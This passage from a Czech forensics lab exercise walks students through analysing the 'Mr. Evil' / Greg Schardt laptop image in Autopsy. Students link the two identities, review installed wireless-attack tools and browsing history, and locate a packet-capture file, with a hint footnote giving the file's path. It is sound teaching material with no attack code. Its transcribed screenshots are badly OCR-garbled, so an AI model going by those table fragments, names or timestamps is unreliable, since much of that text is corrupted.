vyskyty. Nasledné v identifikovanych souborech zkuste najit vazbu mezi identitami Greg Schardt a Mr. Evil.

Listing Keyword search 1 - Greg Schardt X

-

Keyword search
Table | Thumbnail

Keyword Preview

REG_52Walue data = #Greg Schardt=(0n Error) User na

Name
[ fozs6874.txt

[ Unalloc_20051_351232_1683209728

[7] Operating System Information Artifact

[ unalloc_20051_1684735000_3639811072
[ irunin.ini

[ Look@LAN Setup Log. txt

[ drwtsn32.log

[‘l RegRipper fimg_4Dell Latitude CPi.ED1/vol_vol2/WINDQ' RegisteredOwner | «Greq Schardte CurrentType @ Un

REG_SZvalue data = «Greg Schardt=(On Error) User no
A0B-236B40WNEr | Greg SchardteCrganization : M

REG_S2value data = «Greq Schardt=(On Errar) User n
Registered Owner: «Greg Schardte®-—» Task List <—*

Companyil Sohome-Greq Schardt«C:\WINDOWS|System32. ..
HT%=500%REGOWNER %=+Greq Schardtx*%REGORGANL. ..

Location

img_4Dell Latitude CPiLEDY fvol_valz)/$CarvedFiles(fizsss, ..
img_4Dell Latitude CPi.EQL vol_volz/$Unalloc/Unallac_20...
img_4Dall Latitude CPLED fvol_volzfWINDOWS/system32, .

i
i
i
fimg_4Dell Latibude Fi.ED1 fvol_volz/ffUnallocfUnallos_20...
i
fimg_4Dell Latitude CPiED1 {vol_volz/WINDOWS/Look@La, .
i

img_+Del Latitude CPiLEDLval_volz/Documents and Settin...

img_sDell Latituds CPL.ED1 fvol_vol2/Frogram FilesiLook@L...

Modified Time
0000-00-00 00:00:00
0000-00-00 00:00:00
2004-08-27 08:46:33 FOT
0000-00-00 60:00:00
2004-08-25 08:56:10 POT
2004-08-25 08:56:33 POT
2004-08-20 05:25:48 POT

RegRipper fimg_4Dell Latitude CPi,EOLfval_wol2/wWINDOWS.. .

11 Results

Save Table as CSV

Change Time
0000-00-00 00:00:00
0000-00-00 00:00:00
Z004-05-27 05:25:44 PO

A

0000-00-00 00:00:00

2004-08-25 0&:56:10 PO,
2004-08-25 08:56:33 PO
2004-03-20 08 25:48 PO

v
>

Hex Text File Metadata 0S5 Account

Annotations Other Occurrences

Strings  Indexed Text

>

Page: 1 of 1 Page Matches on page: 1 of 2 Match 100% | 23| Reset

Text Source:

Search Results

T EIIVE 0T O PRI =S TGO T IOt U Tange,
MSG_ERR_FIND_TEXT_LINE=Failed to find text line.
MSG_ERR_GET _TEXT_LINE=Failed to get text line.
MSG_ERR_INSERT_TEXT_LINE =Failed to insert text line.
MSG_ERR_CALL_DLL=Failed to call DLL function.
MSG_ERR_FAILED_LOAD_DLL=Could not load DLL.
MSG_ERR_FAILED_FIND_FUNCTION=Could not find function,
YSYSLANGUAGE %=9

%DOREBOCT %%=FALSE
YLASTERRORNUM%=0

%L ASTCOMMAND %=17
YoLASTERRORMSG %=
eLASTERRORDETAILS %=
%PREVENTNEXTPAGE %=FALSE
YeLINGUA%=EN

%R ADIOSELECTIONINDEX %=0
%%USERNAME ¥=Greg Schardt
USERCOMPANY %o =M/A

Pozadované propojeni najdeme v souboru irunin.ini, kde je uzivatelské jméno nastavené na fetézec Greg
Schardt, a proménna %LANUSER% na hodnotu Mr. Evil.

V této fazi jiz mame k dispozici alespon jednu urcitou vazbu mezi obéma identitami a miizeme se tedy zamefit
na identifikaci podkladd potvrzujicich, Ze zkoumany stroj byl vyuzit k utoktim na bezdratové sité.

Seznam instalovanych aplikaci pro nas automaticky piipravila platforma Autopsy a pfistoupit k nému mizeme
s pomoci volby ,,Installed Programs* pod kofenovou volbou ,,Data Artifacts®. Ovéfte s pomoci nastroje Google
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povahu téch instalovanych aplikaci, které neznate, a usud’te, zda by mohly byt vyuzity pro pfipadné ttoky na

bezdratové sité.

oyl G ot | g Cosa case ="

© - e G eeyward seach
@ [t | Keymwdoearch i -GegSchadr % =
Iretaded programs
Tatie Trumbrad

3 Rewit

Seve Table 25 C5V
SoseMeme S C O ProgramMame Diate/Time. Diate Source. &l
% software es

5 mfume
safuare

 smftware

Remit: of Remit

10. Ze/kdy byly jednotlivé instalované aplikace pouzity miizeme zjistit napt. s pomoci polozky ,,Run Programs*.
11. Pro ziskéani dodatecné predstavy o aktivitach uzivatele zkoumaného systému lze doporucit analyzovat jeste his-
torii prohlizeni webovych stranek, kterou nam poskytuje Autopsy pod volbou ,,Web History*. Historii projdéte

a pokuste se pfi tom identifikovat webové stranky potencidlné souvisejici s ptipadnymi utoky na bezdratové

sité.

B irostvios () commurcatns @ cecocaon 55, ek 44 Dsovery || Genrte o g oG =

€ o [wm -
et astory
Tatie Thumorad

Somcztome 5 € 0 wDateAccessed  Reforer(SL  Propameme  Doman Usrame | DomSorce &
5 e F rdexdst
x Fie System (365) = roexdat
X M Ep—
ET—

£ dex.dat
Z mdex.dat
£ mdex dat
e dst
T rdex.dat
e dat

et
£ oot
 ndext

Fage: 1of Page o Page: Serpt: Latn - Bask -

s

12. V tuto chvili jsme prokazali, ze Mr. Evil, alias Greg Schardt, pocita¢ skutecné pouzival, navstivil stranky po-
skytujici informace o utocich na bezdratové sité a na pocitac nainstaloval nastroje uzivané pro utoky na tyto
sité. Tyto nastroje pak pfinejmensim spustil. Pro jednoznacné potvrzeni uzivani laptopu pro trestnou ¢innost
by bylo dobré¢ identifikovat jesté konkrétni vzorek potencialni odposlechnuté komunikace. Na zaklad¢ jiz zna-
mych informaci (mj. seznamu instalovaného SW) se tedy pokuste takovy vzorek nalézt

a. Napovéda 1 — zaméite se na nastroj uzivany mj. pro packet sniffing.
b. Napovéda 2 — log daného nastroje mj. obsahuje informace o souboru, v némz byl ulozen posledni za-
chyt.
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(cestu k zajmovému souboru naleznete pod ¢arou na konci této stranky™?).

V analyze bychom mohli (resp. v roli realnych forenznich analytikti policejniho oddéleni bychom méli) dale po-
kracovat dale, a nasledné na zaklad¢€ ni vytvofit odpovidajici zdvérecnou zpravu. Pro potfeby demonstrace moz-
nosti analyzy obrazl perzistentnich ulozist’ 1ze vSak vySe provedené aktivity povazovat za dostacujici. Platformu
Autopsy 1 nas virtualni analyticky stroj tak miizete vypnout.

14 C:\Documents and Settings\Mr. Evil\interception
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